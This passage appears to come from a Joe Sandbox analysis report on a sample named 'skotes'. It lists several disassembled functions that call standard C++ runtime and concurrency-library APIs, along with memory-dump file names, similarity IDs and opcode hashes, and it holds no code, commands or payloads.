Instruction ID: db80b2f80309fc636274e5f38f6b35cf5f79924c8a6c6587283dc84ea7a8c689
Opcode Fuzzy Hash: e2ffd2539d1da9d7588144ac0ae61c6f7d9b8e4e9fa53d3b6bc311728d3d414f
Instruction Fuzzy Hash: 753139367006109FDF16AF20C881FAD77A6AFC8710F1582B9E90A9F395DF71AD048B90

Function 00382CFC Relevance: 6.1, APIs: 4, Instructions: 101COMMON

Download Yara Rule

APIs

Concurrency::details::ResourceManager::InitializeRMBuffers.LIBCMT ref: 00382D0F

Memory Dump Source

Source File: 00000006.00000002.2985109960.0000000000361000.00000040.00000001.01000000.00000007.sdmp, Offset: 00360000, based on PE: true

Associated: 00000006.00000002.2984992179.0000000000360000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2985109960.00000000003C2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2985544567.00000000003C9000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2985665317.00000000003CB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2985809368.00000000003D5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2985943484.00000000003D6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2986084355.00000000003D7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2986909341.000000000053D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2986977969.000000000053F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2987162375.0000000000554000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2987300789.0000000000555000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2987396091.0000000000556000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2987502193.0000000000557000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2987588956.0000000000558000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2987588956.0000000000562000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2987793935.0000000000567000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2987888154.000000000056C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2988005497.0000000000591000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2988042625.0000000000592000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2988115025.0000000000593000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2988205693.0000000000594000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2988314202.000000000059C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2988424214.000000000059E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2988519731.00000000005A0000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2988595609.00000000005AA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2988742380.00000000005BD000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2988853130.00000000005C2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2989006743.00000000005C3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2989121370.00000000005C7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2989204331.00000000005CF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2989317998.00000000005D4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2989410074.00000000005D5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2989522019.00000000005D9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2989591959.00000000005E6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2989663637.00000000005E9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2989703566.00000000005F2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2989742769.00000000005F5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2989792278.00000000005F6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2989929673.00000000005FA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2989974444.00000000005FB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2990054603.0000000000603000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2990146098.0000000000621000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2990229572.0000000000622000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2990229572.0000000000640000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2990376031.000000000066C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2990417701.000000000066D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2990507157.000000000066E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2990549882.0000000000671000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2990591176.0000000000673000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2990623602.0000000000682000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2990652710.0000000000683000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_360000_skotes.jbxd

Yara matches

Similarity

API ID: BuffersConcurrency::details::InitializeManager::Resource
String ID:
API String ID: 3433162309-0
Opcode ID: 812ec087086e2e9c2271cca973d4e09db24e4d78aea3554d54717059b8c3ea20
Instruction ID: 42e704ae7f8c6752033cc3fc0981c71b6cbb0070bbd9395813872c9bd9616630
Opcode Fuzzy Hash: 812ec087086e2e9c2271cca973d4e09db24e4d78aea3554d54717059b8c3ea20
Instruction Fuzzy Hash: BF313B75A00309DFCF16EF94C4C0BAEBBB9BB44314F1504EAD9119B346D730A949DBA0

Function 003913F5 Relevance: 6.1, APIs: 4, Instructions: 99COMMON

Download Yara Rule

APIs

__EH_prolog3_catch.LIBCMT ref: 003913FC
Concurrency::details::_TaskCollectionBase::_GetTokenState.LIBCONCRT ref: 00391447
Concurrency::details::_CancellationTokenState::_RegisterCallback.LIBCONCRT ref: 0039147A
Concurrency::details::_StructuredTaskCollection::_CountUp.LIBCMT ref: 0039152A

Memory Dump Source

Source File: 00000006.00000002.2985109960.0000000000361000.00000040.00000001.01000000.00000007.sdmp, Offset: 00360000, based on PE: true

Associated: 00000006.00000002.2984992179.0000000000360000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2985109960.00000000003C2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2985544567.00000000003C9000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2985665317.00000000003CB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2985809368.00000000003D5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2985943484.00000000003D6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2986084355.00000000003D7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2986909341.000000000053D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2986977969.000000000053F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2987162375.0000000000554000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2987300789.0000000000555000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2987396091.0000000000556000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2987502193.0000000000557000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2987588956.0000000000558000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2987588956.0000000000562000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2987793935.0000000000567000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2987888154.000000000056C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2988005497.0000000000591000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2988042625.0000000000592000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2988115025.0000000000593000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2988205693.0000000000594000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2988314202.000000000059C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2988424214.000000000059E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2988519731.00000000005A0000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2988595609.00000000005AA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2988742380.00000000005BD000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2988853130.00000000005C2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2989006743.00000000005C3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2989121370.00000000005C7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2989204331.00000000005CF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2989317998.00000000005D4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2989410074.00000000005D5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2989522019.00000000005D9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2989591959.00000000005E6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2989663637.00000000005E9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2989703566.00000000005F2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2989742769.00000000005F5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2989792278.00000000005F6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2989929673.00000000005FA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2989974444.00000000005FB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2990054603.0000000000603000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2990146098.0000000000621000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2990229572.0000000000622000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2990229572.0000000000640000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2990376031.000000000066C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2990417701.000000000066D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2990507157.000000000066E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2990549882.0000000000671000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2990591176.0000000000673000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2990623602.0000000000682000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2990652710.0000000000683000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_360000_skotes.jbxd

Yara matches

Similarity

API ID: Concurrency::details::_$TaskToken$Base::_CallbackCancellationCollectionCollection::_CountH_prolog3_catchRegisterStateState::_Structured
String ID:
API String ID: 2092016602-0
Opcode ID: b2bb3eeedbf2af2e4aa7389767932efc8ddb2d330901f5b898c79c7da65d77a8
Instruction ID: 45545a42a73d80f19e0126cc6ebce30b8f6d2ba332f838a9fb19186d7d93d278
Opcode Fuzzy Hash: b2bb3eeedbf2af2e4aa7389767932efc8ddb2d330901f5b898c79c7da65d77a8
Instruction Fuzzy Hash: B631A171A007069FCF16EFA9C4819EDFBB5BF48710B14822DE416AB381CB34AA41CB90

Function 0037BB72 Relevance: 6.1, APIs: 4, Instructions: 80COMMON

Download Yara Rule

APIs

_xtime_get.LIBCPMT ref: 0037BBCA
__Xtime_diff_to_millis2.LIBCPMT ref: 0037BBE4
_xtime_get.LIBCPMT ref: 0037BC07
__Xtime_diff_to_millis2.LIBCPMT ref: 0037BC13

Memory Dump Source

Source File: 00000006.00000002.2985109960.0000000000361000.00000040.00000001.01000000.00000007.sdmp, Offset: 00360000, based on PE: true

Associated: 00000006.00000002.2984992179.0000000000360000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2985109960.00000000003C2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2985544567.00000000003C9000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2985665317.00000000003CB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2985809368.00000000003D5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2985943484.00000000003D6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2986084355.00000000003D7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2986909341.000000000053D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2986977969.000000000053F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2987162375.0000000000554000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2987300789.0000000000555000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2987396091.0000000000556000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2987502193.0000000000557000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2987588956.0000000000558000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2987588956.0000000000562000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2987793935.0000000000567000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2987888154.000000000056C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2988005497.0000000000591000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2988042625.0000000000592000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2988115025.0000000000593000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2988205693.0000000000594000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2988314202.000000000059C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2988424214.000000000059E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2988519731.00000000005A0000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2988595609.00000000005AA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2988742380.00000000005BD000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2988853130.00000000005C2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2989006743.00000000005C3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2989121370.00000000005C7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2989204331.00000000005CF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2989317998.00000000005D4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2989410074.00000000005D5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2989522019.00000000005D9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2989591959.00000000005E6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2989663637.00000000005E9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2989703566.00000000005F2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2989742769.00000000005F5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2989792278.00000000005F6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2989929673.00000000005FA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2989974444.00000000005FB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2990054603.0000000000603000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2990146098.0000000000621000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2990229572.0000000000622000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2990229572.0000000000640000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2990376031.000000000066C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2990417701.000000000066D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2990507157.000000000066E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2990549882.0000000000671000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2990591176.0000000000673000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2990623602.0000000000682000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2990652710.0000000000683000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_360000_skotes.jbxd

Yara matches

Similarity

API ID: Xtime_diff_to_millis2_xtime_get
String ID:
API String ID: 531285432-0
Opcode ID: e36e3727afc862e60eb7a04a20c785d73b65704fa5e73bf5754f5e0ff02d9896
Instruction ID: 7fcb150a71aedd96352b29f06246f109a51ae083a91ebf759b64518a4e4b1e17
Opcode Fuzzy Hash: e36e3727afc862e60eb7a04a20c785d73b65704fa5e73bf5754f5e0ff02d9896
Instruction Fuzzy Hash: 91216571900119AFDF12EFA4DC819BEB7B9EF08710F108019F905BB261DB349D019B90

Function 00389C95 Relevance: 6.1, APIs: 4, Instructions: 79COMMONLIBRARYCODE

Download Yara Rule

APIs

__EH_prolog3_catch.LIBCMT ref: 00389C9C
Concurrency::SchedulerPolicy::_ValidPolicyValue.LIBCONCRT ref: 00389CE8
std::bad_exception::bad_exception.LIBCMT ref: 00389CFE
std::bad_exception::bad_exception.LIBCMT ref: 00389D6A

Memory Dump Source

Source File: 00000006.00000002.2985109960.0000000000361000.00000040.00000001.01000000.00000007.sdmp, Offset: 00360000, based on PE: true

Associated: 00000006.00000002.2984992179.0000000000360000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2985109960.00000000003C2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2985544567.00000000003C9000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2985665317.00000000003CB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2985809368.00000000003D5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2985943484.00000000003D6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2986084355.00000000003D7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2986909341.000000000053D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2986977969.000000000053F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2987162375.0000000000554000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2987300789.0000000000555000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2987396091.0000000000556000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2987502193.0000000000557000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2987588956.0000000000558000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2987588956.0000000000562000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2987793935.0000000000567000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2987888154.000000000056C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2988005497.0000000000591000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2988042625.0000000000592000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2988115025.0000000000593000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2988205693.0000000000594000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2988314202.000000000059C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2988424214.000000000059E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2988519731.00000000005A0000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2988595609.00000000005AA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2988742380.00000000005BD000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2988853130.00000000005C2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2989006743.00000000005C3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2989121370.00000000005C7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2989204331.00000000005CF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2989317998.00000000005D4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2989410074.00000000005D5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2989522019.00000000005D9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2989591959.00000000005E6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2989663637.00000000005E9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2989703566.00000000005F2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2989742769.00000000005F5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2989792278.00000000005F6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2989929673.00000000005FA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2989974444.00000000005FB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2990054603.0000000000603000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2990146098.0000000000621000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2990229572.0000000000622000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2990229572.0000000000640000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2990376031.000000000066C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2990417701.000000000066D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2990507157.000000000066E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2990549882.0000000000671000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2990591176.0000000000673000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2990623602.0000000000682000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2990652710.0000000000683000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_360000_skotes.jbxd

Yara matches

Similarity

API ID: std::bad_exception::bad_exception$Concurrency::H_prolog3_catchPolicyPolicy::_SchedulerValidValue
String ID:
API String ID: 2033596534-0
Opcode ID: 36d2ffe23c931641b01e875637fac1d705c5ae30b373e33c98ae1eebf3b5b397
Instruction ID: f667fe320e3632d247c11c4f2fbf678f723c6fa590d36fffe8ae8ba7015fa847
Opcode Fuzzy Hash: 36d2ffe23c931641b01e875637fac1d705c5ae30b373e33c98ae1eebf3b5b397
Instruction Fuzzy Hash: E0219075900304AFDB07FF64D882AEDB7B4AF05314B2940AAF101AF262EB31AE05CB55

Function 0038A026 Relevance: 6.1, APIs: 4, Instructions: 74COMMONLIBRARYCODE

Download Yara Rule

APIs

Concurrency::details::SchedulerProxy::IncrementFixedCoreCount.LIBCONCRT ref: 0038A069

Part of subcall function 0038B560: Concurrency::details::SchedulerProxy::ToggleBorrowedState.LIBCONCRT ref: 0038B5AF

Concurrency::details::HardwareAffinity::HardwareAffinity.LIBCMT ref: 0038A07F
Concurrency::details::SchedulerProxy::AddExecutionResource.LIBCONCRT ref: 0038A0CB

Part of subcall function 0038AB41: List.LIBCONCRT ref: 0038AB77

Concurrency::details::ExecutionResource::SetAsCurrent.LIBCMT ref: 0038A0DB

Memory Dump Source

Source File: 00000006.00000002.2985109960.0000000000361000.00000040.00000001.01000000.00000007.sdmp, Offset: 00360000, based on PE: true

Associated: 00000006.00000002.2984992179.0000000000360000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2985109960.00000000003C2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2985544567.00000000003C9000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2985665317.00000000003CB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2985809368.00000000003D5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2985943484.00000000003D6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2986084355.00000000003D7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2986909341.000000000053D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2986977969.000000000053F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2987162375.0000000000554000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2987300789.0000000000555000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2987396091.0000000000556000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2987502193.0000000000557000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2987588956.0000000000558000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2987588956.0000000000562000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2987793935.0000000000567000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2987888154.000000000056C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2988005497.0000000000591000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2988042625.0000000000592000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2988115025.0000000000593000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2988205693.0000000000594000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2988314202.000000000059C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2988424214.000000000059E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2988519731.00000000005A0000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2988595609.00000000005AA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2988742380.00000000005BD000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2988853130.00000000005C2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2989006743.00000000005C3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2989121370.00000000005C7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2989204331.00000000005CF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2989317998.00000000005D4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2989410074.00000000005D5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2989522019.00000000005D9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2989591959.00000000005E6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2989663637.00000000005E9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2989703566.00000000005F2000.00000080.00000001.01000000.00000007.sdmpDownload File
